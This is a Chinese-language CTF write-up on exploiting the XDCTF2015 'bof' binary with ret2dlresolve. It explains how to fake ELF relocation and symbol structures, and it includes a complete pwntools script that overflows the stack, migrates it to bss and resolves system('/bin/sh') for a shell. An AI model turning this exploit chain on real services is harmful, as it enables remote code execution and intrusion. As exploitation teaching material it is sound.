# 1. 查看程序
32 位程序,开启了 NX
ida32 查看
main:
vuln:
# 2. 漏洞分析
可以发现 read 读入的字节数可以导致栈溢出,但是没有后门函数,我们可以进行泄露 libc 来 getshell,但是这里换一个方法,通过利用 ret2dlresolve
来解决, ret2dlresolve
通常利用在无法泄露出地址时,通过让 dl_runtime_reslove
函数来解析函数名达到执行动态链接库函数的目的
因为 dl_runtime_resolve
函数没有检查边界,所以我们可以将其对应的结构体写入其他地址,然后通过一定 偏移
大小来使 dl_runtime_resolve
去执行
# 原理:
_dl_runtime_resolve(link_map_obj,reloc_index)
将该函数执行方式分开看如下图所示:
调试查看该函数的调用过程:
利用命令 objdump -d bof
, 得到函数的地址:
在 gdb 中下断点调试:
从上面的图中也能发现,3 个 jmp 里有两个 push,这里分别对应了 dl_runtime_resolve函数
的两个参数 ( push 0x20 对应 reloc_indxe
, push 0x804a004 对应 link_map_obj
)
这里我们就需要修改 reloc_index
的值来去寻找到我们伪造的结构体 .rel.plt
(这里的 reloc_index
的值实际上也就是偏移量,能够改写该偏移量,那么后续的结构体只要伪造好了就可以按照我们想要的执行)
对于参数 obj_link_map
我们不需要修改,这个地址后续划分的三个基地址可以被使用,所以我们通过栈溢出将 plt [0] 的地址覆盖 ret, 后面只要加入参数 reloc_index
即可
仍然是通过这张图来看拆分的结构:
我们后续就是需要伪造 .rel.plt
、 .dynsym
这两个结构体,其结构分别为:
.rel.plt 结构体:
typedef struct{ | |
Elf32_Addr r_offset; | |
Elf32_Word r_info; | |
}Elf32_Rel |
dynsym 结构体:
typedef struct | |
{ | |
Elf32_Word st_name; // 符号名,是相对.dynstr 起始的偏移 | |
Elf32_Addr st_value; | |
Elf32_Word st_size; | |
unsigned char st_info; // 对于导入函数符号而言,它是 0x12 | |
unsigned char st_other; | |
Elf32_Section st_shndx; | |
}Elf32_Sym; // 对于导入函数符号而言,除 st_name 外其他字段都是 0 |
除此之外还需要构造一个如 system\x00
的字符串作为 函数名去解析
在我们伪造的结构体中,我们可以控制其成员变量,也就意味着能够构造偏移,使得 dl_runtime_resolve
可以一步一步达到我们需要解析的函数名处
构造方式 (这里反着构造):
- 部署字符串(要执行的函数名,如
system\x00
) - 通过
字符串地址-dynstr基地址
得到 dynsym 结构体中第一个成员变量的值(也就是字符串的偏移) - 部署伪造的 system 的
.dynsym
结构体,其中第一个成员变量要用步骤2
的值 - 由伪造的
system
结构体地址 - dynsym 基地址 = 偏移,利用该偏移得到r_info
((偏移 / 0x10<<8)+0x7) - 伪造
rel.plt
结构体,通过上面的r_info
作为其第二个成员变量(第一个成员变量为write_got
等) - 利用伪造的
rel.plt
结构体地址 - rel.plt 基地址 =reloc_index
,得到的reloc_index
就是dl_runtime_resolve
第二个参数,第一个参数是link_map_obj
在前面利用plt0
覆盖 ret 后就直接 push 进栈了
# 3. 构造 exp
因为我们需要将伪造的几个结构体写入固定的地址,这里写入 bss 段内
接下来就是利用 read 函数将伪造的结构体内容写入到 bss 段上,这里需要记录下每个结构体在 bss 段的地址,方便我们后续的偏移量的写入
from pwn import * | |
elf = ELF('bof') | |
r = process('./bof') | |
rop = ROP('./bof') | |
offset = 112 | |
bss_addr = elf.bss() #获取 bss 段首地址 | |
write_got = elf.got['write'] | |
#获取 plt0 的基地址 | |
plt0 = elf.get_section_by_name('.plt').header.sh_addr | |
#获取.rel.plt 的基地址 | |
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr | |
#获取.dynsym 的基地址 | |
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr | |
#获取.dynstr 的基地址 | |
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr | |
r.recvuntil('Welcome to XDCTF2015~!\n') | |
## 将栈迁移到 bss 段 | |
## 新栈空间大小为 0x800 | |
stack_size = 0x800 | |
base_stage = bss_addr + stack_size | |
### 填充缓冲区 | |
rop.raw(b'a' * offset) | |
### 向新栈中写 100 个字节 | |
##rop.read 会自动完成 read 函数、函数参数、返回地址的栈部署 | |
rop.read(0, base_stage, 100) | |
### 栈迁移,设置 esp = base_stage | |
##rop.migrate 会利用 leave_ret 自动部署迁移工作 | |
rop.migrate(base_stage) | |
r.sendline(rop.chain()) | |
# "/bin/sh" 字符串 | |
rop = ROP('./bof') | |
sh = b"/bin/sh\x00" | |
## 在 base_stage + 32 的地方开始部署.dynsym 结构体 | |
fake_sym_addr = base_stage + 32 | |
## 对齐 | |
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) | |
fake_sym_addr = fake_sym_addr + align | |
## 计算.dynsym 结构体下标 | |
index_dynsym = int((fake_sym_addr - dynsym) / 0x10) | |
## 计算.dynstr 偏移准备更改.dynsym 成员变量 st_name | |
st_name = fake_sym_addr + 0x10 - dynstr | |
fake_write_sym = flat([st_name, 0, 0, 0x12])# 伪造的.dynsym 结构体 | |
# 在 base_stage+24 的位置开始部署.rel.plt 的结构体 | |
index_offset = base_stage + 24 - rel_plt | |
# 由.dynsym 结构体下标反推 r_info | |
r_info = (index_dynsym << 8) +0x7 | |
fake_write_reloc = flat([write_got, r_info]) | |
rop.raw(plt0) | |
rop.raw(index_offset) | |
# fake ret addr of write | |
rop.raw(b'bbbb') #system 函数返回地址 | |
rop.raw(base_stage + 0x50) #system 函数 1 参 | |
rop.raw(b'bbbb') #原 write 函数 2 参 | |
rop.raw(b'bbbb') #原 write 函数 3 参 | |
rop.raw(fake_write_reloc) # 伪造的.rel.plt 的结构体 | |
rop.raw(b'a' * align) # 对齐 | |
rop.raw(fake_write_sym) # 伪造的.dynsym 的结构体 | |
rop.raw(b'system\x00') #伪造的.dynstr | |
rop.raw(b'a' * (80 - len(rop.chain()))) | |
rop.raw(sh) | |
#rop.raw('a' * (100 - len(rop.chain()))) | |
print(rop.dump()) #可打印栈布局 | |
r.sendline(rop.chain()) | |
r.interactive() |